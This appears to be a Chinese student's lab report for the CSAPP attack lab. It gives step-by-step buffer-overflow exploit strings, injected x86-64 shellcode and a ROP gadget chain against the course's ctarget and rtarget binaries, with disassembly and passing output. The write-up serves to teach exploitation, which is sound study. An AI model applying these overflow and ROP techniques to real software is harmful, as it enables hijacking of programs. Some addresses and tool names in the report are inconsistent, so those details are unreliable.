计算机系统基础$attacklab$实验报告

时间 2019 11 23　　**姓名** 方晓坤　　**学号** 2018202046

一、需求分析

在学习了$CSAPP$第三章程序的机器级表示后，为了进一步巩固对汇编代码的读写辨识能力，也同时加强对程序运行过程中栈的变化机制，我们设计并完成了$attacklab$——缓冲区溢出攻击实验。本次实验中，获得的可执行文件`ctarget`和`rtarget`包括 5 道密码，我们需要通过输入特定的字符串导致缓冲区溢出来执行原本程序中不会出现的功能。

二、准备工作

1、浏览lab目录

一共六个文件：

- `cookie.txt` 一个8位16进制数，代表进攻特征的标记，在多处被使用到
- `farm.c` ROP攻击代码的产生源
- `ctarget` 注入式攻击的可执行文件
- `rtarget` ROP攻击的可执行文件
- `hex2row` 将16进制数转化为攻击字符的可执行文件，包括无法在屏幕上输入的字符
- `README` 说明性文件

2、添加辅助文件

我们一共添加四个文件：

- `asm1.s`和`asm2.s` 分别对应 `ctarget`和`rtarget`的汇编文件
- `attack.txt` 输入的字符串所对应的$ASCII$码，用空格隔开
- `input.txt` 通过执行`./hex2row <attack.txt >input.txt`将`attack.txt`转化成的字符串文件，作为`gdb`重定向的输入

三、详细设计

1、注入式攻击

level_1

对于第一阶段，要求相对简单。原因是我们不需要注入一段修改局部变量的代码，只要修改返回地址的值即可。在这个阶段中，我们需要重定向到`touch1`函数。

解题思路：

- 找到程序为当前函数分配的栈空间含多少字节
- 找到`touch1`的起始地址
- 将栈空间通过输入字符串填满，并且恰好在原先的返回地址上覆盖`touch1`的起始地址，实现程序的重定向。

具体实现：

（1）阅读`asm1.s`，找到分配栈空间的大小

`ctarget`的正常流程是：

```
void test()
{
    int val;
    val = getbuf();
    printf("No exploit.  Getbuf returned 0x%x\n", val);
}
```

发现只调用了`getbuf`函数，应该在其中分配了空间。

阅读函数对应的汇编代码

```
0000000000001a9c <getbuf>:
    1a9c:   48 83 ec 28             sub    $0x28,%rsp
    1aa0:   48 89 e7                mov    %rsp,%rdi
    1aa3:   e8 94 02 00 00          callq  1d3c <Gets>
    1aa8:   b8 01 00 00 00          mov    $0x1,%eax
    1aad:   48 83 c4 28             add    $0x28,%rsp
    1ab1:   c3                      retq
```

我们发现在`1a9c`行，通过`sub    $0x28,%rsp`操作，为栈分配了`0x28`，即40个字节的空间。

（2）阅读`asm1.s`，找到`touch1`的起始地址

```
(gdb) p touch1
$1 = {void ()} 0x555555555ab2 <touch1>
```

这样我们发现`touch1`的起始地址为`0x555555555ab2`。

（3）填充栈空间

通过以上步骤，我们已经获得了所用需要的信息，接下来我们填充栈空间。实际上可以选用任意字符，我们不妨选用16进制的`0x00`填充，然后填充`touch1`地址，最后得到是如下结果：

```
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
b2 5a 55 55 55 55
```

我们需要注意的之字节顺序的问题，大部分PC是小段序，即低位在低地址，高位在高地址。所以填充后的栈空间

```
00 00 55 55 55 55 5a b2 <—— 0x5566fd90
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 <—— 0x5566fd68
```

使用命令行进行验证，结果如下：

```
2018202046@VM-0-46-ubuntu:~/target10$ cat attack.txt | ./hex2raw | ./ctarget
Cookie: 0x76927bbf
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

level_2

与第一阶段不同，第二阶段中我们需要修改一些局部变量以便于跳转至`touch2`后能输出正确的结果。我们仍然首先查看`touch2`函数的行为。

```
void touch2(unsigned val){
    vlevel = 2;
    if (val == cookie)
    {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}
```

这段程序要求我们不仅要将程序重定向至`touch2`，还要在此之前将`val`修改至`cookie`对应的值。本次实验我的`cookie`值为`0x76927bbf`。

解题思路：

- 将返回地址设置为代码段的注入地址，本次在栈顶直接注入，所以将返回地址设置为`%rsp`的值。
- 将`%rdi`设置为`cookie`对应的值，即`0x76927bbf`。
- 将`touch2`的首地址放入寄存器，比如`%rax`，然后直接使用`jmp`指令跳转至`touch2`函数。

综上所述，我们需要注入的代码和对应的指令序列为：

```
    movq    $0x76927bbf, %rdi
    movq    $0x555555555ae0, %rax
    jmp     %rax
```

反汇编这段代码，得到的结果是：

```
 6d3:   48 c7 c7 bf 7b 92 76    mov    $0x76927bbf,%rdi
 6da:   48 b8 e0 5a 55 55 55    movabs $0x555555555ae0,%rax
 6e1:   55 00 00
 6e4:   ff e0                   jmpq   *%rax
```

于是我们得到这三条指令序列为`48 c7 c7 bf 7b 92 76 48 b8 e0 5a 55 55 55 55 00 00 ff e0`。同`level_1`我们已经获取了`%rsp`的值为`0x5566fd68`。

综上所述，我们得到这样的字符序列，它对应的十六进制形式为：

```
48 c7 c7 bf 7b 92 76 48 b8 e0
5a 55 55 55 55 00 00 ff e0 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
68 fd 66 55 00 00 00 00
```

使用命令行进行验证，结果如下：

```
2018202046@VM-0-46-ubuntu:~/target10$ cat attack.txt | ./hex2raw | ./ctarget
Cookie: 0x76927bbf
Type string:Touch2!: You called touch2(0x76927bbf)
Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

类似的，注入后的栈空间为：

```
00 00 00 00 55 66 fd 68 <—— 0x5566fd90
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 e0 ff 00
00 55 55 55 55 5a e0 b8
48 76 92 7b bf c7 c7 48 <—— 0x5566fd68
```

level_3

第三阶段，同样要在输入的字符串中注入一段代码。我们仍然首先查看`touch3`函数的行为。

```
void touch3(char*sval)
{
    vlevel = 3;
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}
```

根据函数的要求，我们需要在输入中为字符串开辟内存空间，并将字符串首地址作为第一个参数修改`%rdi`。

解题思路：

- 将返回地址设置为代码段的注入地址，本次在栈顶直接注入，所以将返回地址设置为`%rsp`的值。
- 将`touch3`的首地址放入寄存器，比如`%rax`，然后直接使用`jmp`指令跳转至`touch3`函数。
- 将字符串`"76927bbf"`存入栈空间。这里需要注意，不要存入返回地址`%rsp`和注入的代码段之间，因为那段空间不稳定，容易被`hexmatch`函数覆盖。为了稳妥，我们不妨将字符串首地址设置在返回地址`%rsp`上面`0x5566fd98`的位置。

综上所述，我们需要注入的代码和对应的指令序列为：

```
    movq    $0x5566fd87, %rdi
    movq    $0x555555555bf7, %rax
    jmp     %rax
```

反汇编这段代码，得到的结果是：

```
 6e6:   48 c7 c7 98 fd 66 55    mov    $0x5566fd98,%rdi
 6ed:   48 b8 f7 5b 55 55 55    movabs $0x555555555bf7,%rax
 6f4:   55 00 00
 6f7:   ff e0                   jmpq   *%rax
```

于是我们得到这三条指令序列为`48 c7 c7 98 fd 66 55 48 b8 f7 5b 55 55 55 55 00 00 ff e0`。

通过查阅$ASCII$表，可以得到`cookie`的16进制数表示——`37 36 39 32 37 62 62 66`。同`level_1`我们已经获取了`%rsp`的值为`0x5566fd68`。

综上所述，我们得到这样的字符序列，它对应的十六进制形式为：

```
48 c7 c7 98 fd 66 55 48 b8 f7
5b 55 55 55 55 00 00 ff e0 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
68 fd 66 55 00 00 00 00 37 36
39 32 37 62 62 66
```

使用命令行进行验证，结果如下：

```
2018202046@VM-0-46-ubuntu:~/target10$ cat attack.txt | ./hex2raw | ./ctarget
Cookie: 0x76927bbf
Type string:Touch3!: You called touch3("76927bbf")
Valid solution for level 3 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

类似的，注入后的栈空间为：

`66 62 62 37 32 39 36 37`
`00 00 00 00 55 66 fd 68` <——— `0x5566fd90`
`00 00 00 00 00 00 00 00`
`00 00 00 00 00 00 00 00`
`00 00 00 00 00 e0 ff 00`
`00 55 55 55 55 5b f7 b8`
`48 55 66 fd 98 c7 c7 48` <——— `0x5566fd68`

2、*ROP*攻击

level_2

在这一阶段中，我们需要重复注入式攻击第二阶段的任务，劫持程序，将程序重定向至`touch2`处。可是在`rtarget`可执行程序不同于前者，它具有栈随机化保护机制。这意味着栈的位置在程序每次运行时都有变化，使得我们无法再像上一阶段中将指令序列放入到栈中，所以我们需要到现有的程序中，找到我们需要的指令序列。

我们需要的汇编指令是：

```
    popq    %rax
    movq    %rax, %rdi
```

通过查阅`Figure 3A`和`Figure 3B`，我们了解到`popq    %rax`的指令序列是`58`，所以我们可以找到如下函数：

```
0000555555555ca1 <addval_412>:
    5ca1:   8d 87 d7 83 58 90       lea    -0x6fa77c29(%rdi),%eax
    5ca7:   c3                      retq
```

而`90`的指令代表`nop`，无实际作用。所以综上，`popq    %rax`指令的地址为`addval_412`函数首地址`0x555555555ca1`偏移4个字节，所以我们应该在`gets()`返回地址的位置填充上`0x555555555ca5`。

在此基础上，我们必须先让`cookie`入栈，则在`gets()`返回地址高8个字节的位置上填上

`cookie`的值。

接下来，我们又了解到`movq    %rax, %rdi`指令字节为`48 89 c7`，所以我们找到如下函数：

```
0000555555555cb4 <addval_281>:
    5cb4:   8d 87 14 48 89 c7       lea    -0x3876b7ec(%rdi),%eax
    5cba:   c3                      retq
```

同上，该条指令的实际地址为`0x555555555cb7`，继续将该地址放置在栈空间中。

最后，在栈空间顶放上`touch2`的首地址`0x555555555ae0`。

综上所述，我们得到了这样的十六进制字符串：

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
a5 5c 55 55 55 55 00 00
bf 7b 92 76 00 00 00 00
b7 5c 55 55 55 55 00 00
e0 5a 55 55 55 55 00 00
```

我们使用命令行进行验证，结果如下：

```
2018202046@VM-0-46-ubuntu:~/target10$ cat attack.txt | ./hex2raw | ./rtarget
Cookie: 0x76927bbf
Type string:Touch2!: You called touch2(0x76927bbf)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

同样的，注入的栈空间：

```
00 00 55 55 55 55 5a e0 <——— touch2
00 00 55 55 55 55 5c b7 <——— movq %rax, %rdi
00 00 00 00 76 92 7b bf <——— cookie
00 00 55 55 55 55 5c a5 <——— popq %rax
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 <——— %rsp
```